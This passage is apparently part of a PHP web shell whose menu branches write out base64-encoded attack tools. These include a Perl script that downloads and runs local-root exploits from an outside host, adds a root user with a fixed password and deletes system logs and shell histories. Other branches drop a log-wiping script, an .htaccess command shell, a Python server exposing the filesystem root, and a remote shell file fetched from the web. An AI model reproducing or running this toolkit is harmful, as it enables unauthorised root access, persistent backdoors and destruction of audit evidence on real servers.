KCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA5Iik7DQpzeXN0ZW0oIi4vOSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTAiKTsNCnN5c3RlbSgiLi85MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTQiKTsNCnN5c3RlbSgiLi85NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYoMSkuMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNigxKS4xMiIpOw0Kc3lzdGVtKCIuL0xpbnV4XzIuNigxKS4xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCIuL0xpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuOS1qb29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2QzdmlsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBkM3ZpbCIpOw0Kc3lzdGVtKCIuL2QzdmlsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDEiKTsNCnN5c3RlbSgiLi9leHAxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsNCnN5c3RlbSgiLi9leHAzIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cGxvaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQiKTsNCnN5c3RlbSgiLi9leHBsb2l0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2dheXJvcyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7DQpzeXN0ZW0oIi4vZ2F5cm9zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xlbmlzLnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsZW5pcy5zaCIpOw0Kc3lzdGVtKCIuL2xlbmlzLnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsNCnN5c3RlbSgiLi9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3ByaXY0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBwcml2NCIpOw0Kc3lzdGVtKCIuL3ByaXY0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Jvb3QucHkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJvb3QucHkiKTsNCnN5c3RlbSgiLi9yb290LnB5Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3J1bngiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJ1bngiKTsNCnN5c3RlbSgiLi9ydW54Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3VidW50dSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdWJ1bnR1Iik7DQpzeXN0ZW0oIi4vdWJ1bnR1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oIi4vdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3oxZC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyB6MWQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnByaW50ICJnZXQgcm9vdC4uLj8/P1xuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgVGhhbmtzIEZvciBVc2luZyBpdCAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8ICAgICAgIEpvaW4gdXMgb24gaHR0cDovL3RoZWNyb3dzY3Jldy5vcmcgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WytdPSNcbiI7DQoNCn0NCmlmICgkQVJHVlswXSA9fiAiZGVsIiApIA0Kew0Kc3lzdGVtKCJybSAxLTIiKTsNCnN5c3RlbSgicm0gMS0zIik7DQpzeXN0ZW0oInJtIDEtNCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgicm0gMTAiKTsNCnN5c3RlbSgicm0gMTEiKTsNCnN5c3RlbSgicm0gMTIiKTsNCnN5c3RlbSgicm0gMTQiKTsNCnN5c3RlbSgicm0gMTUuc2giKTsNCnN5c3RlbSgicm0gMTUxNTAiKTsNCnN5c3RlbSgicm0gMTUyMDAiKTsNCnN5c3RlbSgicm0gMTYiKTsNCnN5c3RlbSgicm0gMTYtMSIpOw0Kc3lzdGVtKCJybSAxOCIpOw0Kc3lzdGVtKCJybSAxOC01Iik7DQpzeXN0ZW0oInJtIDIiKTsNCnN5c3RlbSgicm0gMi0xIik7DQpzeXN0ZW0oInJtIDItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oInJtIDItNi0zNyIpOw0Kc3lzdGVtKCJybSAyLTYtOS0yMDA1Iik7DQpzeXN0ZW0oInJtIDItNi05LTIwMDYiKTsNCnN5c3RlbSgicm0gMi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgicm0gMi40LjIxLTIwMDYiKTsNCnN5c3RlbSgicm0gMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgicm0gMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTk0LjItMjAxMCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi4yMCIpOw0Kc3lzdGVtKCJybSAyLjYuMjAtMiIpOw0Kc3lzdGVtKCJybSAyLjYuMjIiKTsNCnN5c3RlbSgicm0gMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJybSAyLjYuMjMtMi42LjI0Iik7DQpzeXN0ZW0oInJtIDIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCJybSAyLjYuMjMtMi42LjI3Iik7DQpzeXN0ZW0oInJtIDIuNi4yNCIpOw0Kc3lzdGVtKCJybSAyLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgicm0gMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgicm0gMi42LjMzIik7DQpzeXN0ZW0oInJtIDIuNi4zMy0yMDExIik7DQpzeXN0ZW0oInJtIDIuNi4zNC0yMDExIik7DQpzeXN0ZW0oInJtIDIuNi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgicm0gMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJybSAyLjYuMzciKTsNCnN5c3RlbSgicm0gMi42LjM3LXJjMiIpOw0Kc3lzdGVtKCJybSAyLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjYtMzQiKTsNCnN5c3RlbSgicm0gMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJybSAyLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjgtMjAwOC45LTY3LTIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjhfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi45Iik7DQpzeXN0ZW0oInJtIDIuNi45LTIwMDQiKTsNCnN5c3RlbSgicm0gMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJybSAyLjYuOS0zNCIpOw0Kc3lzdGVtKCJybSAyLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgicm0gMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgicm0gMi42LjktNTUiKTsNCnN5c3RlbSgicm0gMi42LjktNTUtMjAwNy1wcnY4Iik7DQpzeXN0ZW0oInJtIDIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCJybSAyLjYuOS02NzIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjkuMiIpOw0Kc3lzdGVtKCJybSAyLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJybSAyMDA3Iik7DQpzeXN0ZW0oInJtIDIwMDktbG9jYWwiKTsNCnN5c3RlbSgicm0gMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgicm0gMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oInJtIDIxIik7DQpzeXN0ZW0oInJtIDMiKTsNCnN5c3RlbSgicm0gMy40LjYtOS0yMDA3Iik7DQpzeXN0ZW0oInJtIDMxIik7DQpzeXN0ZW0oInJtIDM2LXJjMSIpOw0Kc3lzdGVtKCJybSA0Iik7DQpzeXN0ZW0oInJtIDQ0Iik7DQpzeXN0ZW0oInJtIDQ3Iik7DQpzeXN0ZW0oInJtIDUiKTsNCnN5c3RlbSgicm0gNTAiKTsNCnN5c3RlbSgicm0gNTQiKTsNCnN5c3RlbSgicm0gNiIpOw0Kc3lzdGVtKCJybSA2NyIpOw0Kc3lzdGVtKCJybSA3Iik7DQpzeXN0ZW0oInJtIDctMiIpOw0Kc3lzdGVtKCJybSA3eCIpOw0Kc3lzdGVtKCJybSA4Iik7DQpzeXN0ZW0oInJtIDkiKTsNCnN5c3RlbSgicm0gOTAiKTsNCnN5c3RlbSgicm0gOTQiKTsNCnN5c3RlbSgicm0gTGludXhfMi42KDEpLjEyIik7DQpzeXN0ZW0oInJtIExpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCJybSBMaW51eF8yLjYuOS1qb29seXNoaXQiKTsNCnN5c3RlbSgicm0gYWNpZCIpOw0Kc3lzdGVtKCJybSBkM3ZpbCIpOw0Kc3lzdGVtKCJybSBleHAxIik7DQpzeXN0ZW0oInJtIGV4cDIiKTsNCnN5c3RlbSgicm0gZXhwMyIpOw0Kc3lzdGVtKCJybSBleHBsb2l0Iik7DQpzeXN0ZW0oInJtIGZ1bGwtbmVsc29uIik7DQpzeXN0ZW0oInJtIGdheXJvcyIpOw0Kc3lzdGVtKCJybSBsZW5pcy5zaCIpOw0Kc3lzdGVtKCJybSBsb2NhbC0yLjYuOS0yMDA1LTIwMDYiKTsNCnN5c3RlbSgicm0gbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJybSBwcml2NCIpOw0Kc3lzdGVtKCJybSBwd25rZXJuZWwiKTsNCnN5c3RlbSgicm0gcm9vdC5weSIpOw0Kc3lzdGVtKCJybSBydW54Iik7DQpzeXN0ZW0oInJtIHRpdm9saSIpOw0Kc3lzdGVtKCJybSB1YnVudHUiKTsNCnN5c3RlbSgicm0gdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oInJtIHoxZC0yMDExIik7DQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgIFRoYW5rcyBGb3IgVXNpbmcgaXQgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICBKb2luIHVzIG9uIGh0dHA6Ly90aGVjcm93c2NyZXcub3JnICAgICAgICAgfFxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KDQp9DQppZiAoJEFSR1ZbMF0gPX4gImFkZCIgKSANCg0Kew0KcHJpbnQgIkFkZCBVc2VyIFJvb3QgOkRcbiI7DQpwcmludCAidXNlciA6IFsgZ2FiYnkgXVxuIjsNCnN5c3RlbSAiYWRkdXNlciAtZyAwIGdhYmJ5IC1HIHdoZWVsLHN5cyxiaW4sZGFlbW9uLGFkbSxkaXNrIC1kIC9zZjcgLXMgL2Jpbi9zaCI7DQpzeXN0ZW0gInBhc3N3ZCByMDB0MTIzIjsNCnByaW50ICJwYXNzIGlzIDogcjAwdDEyM1xuIjsgDQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgIFRoYW5rcyBGb3IgVXNpbmcgaXQgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICBKb2luIHVzIG9uIGh0dHA6Ly90aGVjcm93c2NyZXcub3JnICAgICAgICAgfFxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KDQp9DQppZiAoJEFSR1ZbMF0gPX4gInJtIiApIA0KDQp7DQpwcmludCAicm0gLXJmIExvZy4uLlxuIjsNCnN5c3RlbSAicm0gLXJmIC90bXAvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvcm9vdC8ua3NoX2hpc3RvcnkiOw0Kc3lzdGVtICJybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeSI7DQpzeXN0ZW0gInJtIC1yZiAvcm9vdC8uYmFzaF9sb2dvdXQiOw0Kc3lzdGVtICJybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9hcGFjaGUvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvdmFyL2FwYWNoZS9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9ydW4vdXRtcCI7DQpzeXN0ZW0gInJtIC1yZiAvdmFyL2xvZ3MiOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9hZG0iOw0Kc3lzdGVtICJybSAtcmYgL2V0Yy93dG1wIjsNCnN5c3RlbSAicm0gLXJmIC9ldGMvdXRtcCI7DQpzeXN0ZW0gImNkIC9iaW4iOw0KcHJpbnQgIlx0TG9nIERlbGV0ZWQgTWFzIE1ibG8gOkQuLiBcblxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgVGhhbmtzIEZvciBVc2luZyBpdCAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8ICAgICAgIEpvaW4gdXMgb24gaHR0cDovL3RoZWNyb3dzY3Jldy5vcmcgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WytdPSNcbiI7DQoNCn0NCiMgQ29kZWQgQnkgR2FiYnkgLSBJbmRvbmVzaWEgRmVtYWxlIEhhY2tlciovIA0K";
file_put_contents("r00t.pl",base64_decode($perlrot));
echo "<script>alert('Perl Auto R00ting Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'slc') {
$slc ="IyEvYmluL3NoDQojIENvZGVkIEJ5IFJlZCBINHQgViFwZXIgKEJlbmlfVmFuZGEpDQojIEdyMzN0eiA6IEFsbCBNZW1iZXJzIE9mIElySXNUDQojIGNobW9kIDA3NTUgc2VydmVyTEMuc2ggPj4gLi9zZXJ2ZXJMQy5zaA0KDQplY2hvICJbKl0gR29pbmcgVE8gRGVsZXRlIExvZyBTZXJ2ZXJzIC4uLiAiDQpmaW5kIC8gLW5hbWUgKi5iYXNoX2hpc3RvcnkgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5iYXNoX2xvZ291dCAtZXhlYyBybSAtcmYge30gXDsNCmZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5sb2cgLWV4ZWMgcm0gLXJmIHt9IFw7DQpybSAtcmYgL3RtcC9sb2dzDQpybSAtcmYgJEhJU1RGSUxFDQpybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5DQpybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5iYXNoX2xvZ291dA0Kcm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MNCnJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2cNCnJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzDQpybSAtcmYgL3Zhci9hcGFjaGUvbG9nDQpybSAtcmYgL3Zhci9ydW4vdXRtcA0Kcm0gLXJmIC92YXIvbG9ncw0Kcm0gLXJmIC92YXIvbG9nDQpybSAtcmYgL3Zhci9hZG0NCnJtIC1yZiAvZXRjL3d0bXANCnJtIC1yZiAvZXRjL3V0bXANCg0KZWNobyAiWypdIERvbmUgLiBHb29kIEx1Y2sgOyki";
file_put_contents("serverLC.sh",base64_decode($slc));
echo "<script>alert('Server Log Cleaner [ serverLC.sh ] Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'htasell') {
$ht = 'PEZpbGVzIH4gIl5cLmh0Ij4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYWxsDQo8L2ZpbGVzPg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuaHRhY2Nlc3MNCiMgPD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTs/Pg0K';
file_put_contents(".htaccess",base64_decode($ht));
echo "<script>alert('htaccess Shell [ .htaccess ] Created : open in site/.htaccess?cmd= '); hideAll();</script>";
die();
}
elseif ( $pilih == 'port') {
$openport = 'IyEvdXNyYmluL2VudiBweXRob24NCiMgZGV2aWx6YzBkZS5vcmcgKGMpIDIwMTINCiMgcmVjb2RlZCBieSB4JzFuNzNjdCAoYykgMjAxMw0KDQppbXBvcnQgU2ltcGxlSFRUUFNlcnZlcg0KaW1wb3J0IFNvY2tldFNlcnZlcg0KaW1wb3J0IG9zDQoNCnBvcnQgPSAxMzEyMw0KDQppZl9fbmFtZV9fPT0nX19tYWluX18nOg0KCW9zLmNoZGlyKCcvJykNCglIYW5kbGVyID0gU2ltcGxlSFRUUFNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXINCglodHRwZCA9IFNvY2tldFNlcnZlci5UQ1BTZXJ2ZXIoKCIiLHBvcnQpLCBIYW5kbGVyKQ0KCQ0KCXByaW50KCJOb3cgb3BlbiB0aGlzIHNlcnZlciBvbiB3ZWIgYnJvd3NlciBhdCBwb3J0OiAiICsgc3RyKHBvcnQpKQ0KCXByaW50KCJleGFtcGxlOiBodHRwOi8vd3d3LmZiaS5nb3Y6IiArIHN0cihwb3J0KSkNCglodHRwLnNlcnZlX2ZvcmV2ZXIoKQ==';
file_put_contents("port.py",base64_decode($openport));
chmod("port.py",0755);
echo "<script>alert('Python Open Port 13123 [ port.py ] Created'); hideAll();</script>";
die();
}
}
?>
<?php
if ( $_GET['create'] == 'sabunmassal' ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/sabun1.php";
error_reporting(0);
if (file_exists('blackhat/sabun1.php')) {
echo '<br>Location : <br>'.$pwd.'blackhat/sabun1.php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "blackhat/sabun1.php";
</script> ';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/sabun1.php', file_get_contents('https://sites.google.com/site/bhshll123/sabunhsh.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "blackhat/sabun1.php";
</script> ';
}
}
?>
<?php
if ( $_GET['create'] == 'wso' ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/sabun1.php";
error_reporting(0);
if (file_exists('blackhat/wso.php')) {
